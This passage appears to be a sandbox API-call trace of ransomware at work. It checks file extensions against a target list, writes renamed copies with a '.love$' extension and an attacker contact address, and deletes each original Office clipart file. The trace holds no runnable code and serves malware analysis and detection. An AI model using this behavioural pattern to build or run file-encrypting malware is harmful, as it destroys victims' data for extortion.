lpString2=".WMF") returned 1 [0239.799] lstrlenW (lpString=".xlsx") returned 5 [0239.799] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0239.799] lstrlenW (lpString=".ppt") returned 4 [0239.799] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0239.799] lstrlenW (lpString=".zip") returned 4 [0239.799] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.799] lstrlenW (lpString=".rar") returned 4 [0239.799] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.799] lstrlenW (lpString=".bz2") returned 4 [0239.799] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.799] lstrlenW (lpString=".7z") returned 3 [0239.799] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0239.799] lstrlenW (lpString=".dbf") returned 4 [0239.799] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0239.799] lstrlenW (lpString=".1cd") returned 4 [0239.799] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0239.799] lstrlenW (lpString=".jpg") returned 4 [0239.799] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0239.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0239.799] lstrlenW (lpString=".doc") returned 4 [0239.799] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.799] lstrlenW (lpString=".docx") returned 5 [0239.799] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0239.799] lstrlenW (lpString=".pdf") returned 4 [0239.799] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.799] lstrlenW (lpString=".xls") returned 4 [0239.799] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.800] lstrlenW (lpString=".xlsx") returned 5 [0239.800] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0239.800] lstrlenW (lpString=".ppt") returned 4 [0239.800] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0239.800] lstrlenW (lpString=".zip") returned 4 [0239.800] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.800] lstrlenW (lpString=".rar") returned 4 [0239.800] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.800] lstrlenW (lpString=".bz2") returned 4 [0239.800] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.800] lstrlenW (lpString=".7z") returned 3 [0239.800] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0239.800] lstrlenW (lpString=".dbf") returned 4 [0239.800] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0239.800] lstrlenW (lpString=".1cd") returned 4 [0239.800] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0239.800] lstrlenW (lpString=".jpg") returned 4 [0239.800] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.800] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0239.800] lstrlenW (lpString="BS01603_.WMF") returned 12 [0239.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0239.802] GetFileSizeEx (in: hFile=0x4e0, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=7176) returned 1 [0239.802] CloseHandle (hObject=0x4e0) returned 1 [0239.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 0x220 [0239.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0239.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0239.803] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.803] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ec [0239.804] GetLastError () returned 0x0 [0239.804] ReadFile (in: hFile=0x4e0, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x1c08, lpOverlapped=0x0) returned 1 [0239.806] WriteFile (in: hFile=0x4ec, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1c10, lpOverlapped=0x0) returned 1 [0239.807] ReadFile (in: hFile=0x4e0, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0239.807] WriteFile (in: hFile=0x4ec, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0239.807] SetEndOfFile (hFile=0x4ec) returned 1 [0239.807] CloseHandle (hObject=0x4ec) returned 1 [0239.807] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.808] SetEndOfFile (hFile=0x4e0) returned 1 [0239.810] CloseHandle (hObject=0x4e0) returned 1 [0239.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0239.811] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 1 [0239.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0239.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0239.812] lstrlenW (lpString=".doc") returned 4 [0239.812] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.812] lstrlenW (lpString=".docx") returned 5 [0239.812] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0239.812] lstrlenW (lpString=".pdf") returned 4 [0239.812] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.812] lstrlenW (lpString=".xls") returned 4 [0239.812] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.812] lstrlenW (lpString=".xlsx") returned 5 [0239.812] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0239.812] lstrlenW (lpString=".ppt") returned 4 [0239.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0239.812] lstrlenW (lpString=".zip") returned 4 [0239.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.812] lstrlenW (lpString=".rar") returned 4 [0239.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.812] lstrlenW (lpString=".bz2") returned 4 [0239.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.812] lstrlenW (lpString=".7z") returned 3 [0239.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0239.812] lstrlenW (lpString=".dbf") returned 4 [0239.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0239.812] lstrlenW (lpString=".1cd") returned 4 [0239.813] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0239.813] lstrlenW (lpString=".jpg") returned 4 [0239.813] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0239.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0239.813] lstrlenW (lpString=".doc") returned 4 [0239.813] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.813] lstrlenW (lpString=".docx") returned 5 [0239.813] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0239.813] lstrlenW (lpString=".pdf") returned 4 [0239.813] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.813] lstrlenW (lpString=".xls") returned 4 [0239.813] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.813] lstrlenW (lpString=".xlsx") returned 5 [0239.813] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0239.813] lstrlenW (lpString=".ppt") returned 4 [0239.813] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0239.813] lstrlenW (lpString=".zip") returned 4 [0239.813] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.813] lstrlenW (lpString=".rar") returned 4 [0239.813] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.813] lstrlenW (lpString=".bz2") returned 4 [0239.813] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.813] lstrlenW (lpString=".7z") returned 3 [0239.813] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0239.813] lstrlenW (lpString=".dbf") returned 4 [0239.813] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0239.814] lstrlenW (lpString=".1cd") returned 4 [0239.814] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0239.814] lstrlenW (lpString=".jpg") returned 4 [0239.814] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.814] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0239.814] lstrlenW (lpString="BS01634_.WMF") returned 12 [0239.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0240.140] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3494) returned 1 [0240.140] CloseHandle (hObject=0x528) returned 1 [0240.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x220 [0240.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0240.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0240.141] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.141] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0240.142] GetLastError () returned 0x0 [0240.142] ReadFile (in: hFile=0x528, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0xda6, lpOverlapped=0x0) returned 1 [0240.249] WriteFile (in: hFile=0x534, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xdb0, lpOverlapped=0x0) returned 1 [0240.267] ReadFile (in: hFile=0x528, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0240.267] WriteFile (in: hFile=0x534, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0240.268] SetEndOfFile (hFile=0x534) returned 1 [0240.268] CloseHandle (hObject=0x534) returned 1 [0240.268] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.268] SetEndOfFile (hFile=0x528) returned 1 [0240.271] CloseHandle (hObject=0x528) returned 1 [0240.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0240.272] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 1 [0240.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0240.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0240.273] lstrlenW (lpString=".doc") returned 4 [0240.273] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.273] lstrlenW (lpString=".docx") returned 5 [0240.273] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.273] lstrlenW (lpString=".pdf") returned 4 [0240.273] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.273] lstrlenW (lpString=".xls") returned 4 [0240.273] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.273] lstrlenW (lpString=".xlsx") returned 5 [0240.273] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.273] lstrlenW (lpString=".ppt") returned 4 [0240.273] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0240.273] lstrlenW (lpString=".zip") returned 4 [0240.273] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.273] lstrlenW (lpString=".rar") returned 4 [0240.273] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.273] lstrlenW (lpString=".bz2") returned 4 [0240.273] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.273] lstrlenW (lpString=".7z") returned 3 [0240.273] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0240.273] lstrlenW (lpString=".dbf") returned 4 [0240.273] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0240.273] lstrlenW (lpString=".1cd") returned 4 [0240.273] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0240.273] lstrlenW (lpString=".jpg") returned 4 [0240.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0240.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0240.274] lstrlenW (lpString=".doc") returned 4 [0240.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.274] lstrlenW (lpString=".docx") returned 5 [0240.274] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.274] lstrlenW (lpString=".pdf") returned 4 [0240.274] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.274] lstrlenW (lpString=".xls") returned 4 [0240.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.274] lstrlenW (lpString=".xlsx") returned 5 [0240.274] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.274] lstrlenW (lpString=".ppt") returned 4 [0240.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0240.274] lstrlenW (lpString=".zip") returned 4 [0240.274] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.274] lstrlenW (lpString=".rar") returned 4 [0240.274] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.274] lstrlenW (lpString=".bz2") returned 4 [0240.274] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.274] lstrlenW (lpString=".7z") returned 3 [0240.274] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0240.274] lstrlenW (lpString=".dbf") returned 4 [0240.274] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0240.274] lstrlenW (lpString=".1cd") returned 4 [0240.275] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0240.275] lstrlenW (lpString=".jpg") returned 4 [0240.275] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.275] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0240.275] lstrlenW (lpString="BS01639_.WMF") returned 12 [0240.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0240.777] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=4236) returned 1 [0240.777] CloseHandle (hObject=0x4c8) returned 1 [0240.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x220 [0240.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0240.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0240.778] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.778] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0240.779] GetLastError () returned 0x0 [0240.779] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x108c, lpOverlapped=0x0) returned 1 [0240.782] WriteFile (in: hFile=0x488, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1090, lpOverlapped=0x0) returned 1 [0240.785] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0240.785] WriteFile (in: hFile=0x488, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0240.785] SetEndOfFile (hFile=0x488) returned 1 [0240.785] CloseHandle (hObject=0x488) returned 1 [0240.785] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.785] SetEndOfFile (hFile=0x4c8) returned 1 [0240.790] CloseHandle (hObject=0x4c8) returned 1 [0240.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0240.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 1 [0240.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0240.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0240.792] lstrlenW (lpString=".doc") returned 4 [0240.792] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.792] lstrlenW (lpString=".docx") returned 5 [0240.792] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.792] lstrlenW (lpString=".pdf") returned 4 [0240.792] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.792] lstrlenW (lpString=".xls") returned 4 [0240.792] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.792] lstrlenW (lpString=".xlsx") returned 5 [0240.792] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.792] lstrlenW (lpString=".ppt") returned 4 [0240.792] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0240.796] lstrlenW (lpString=".zip") returned 4 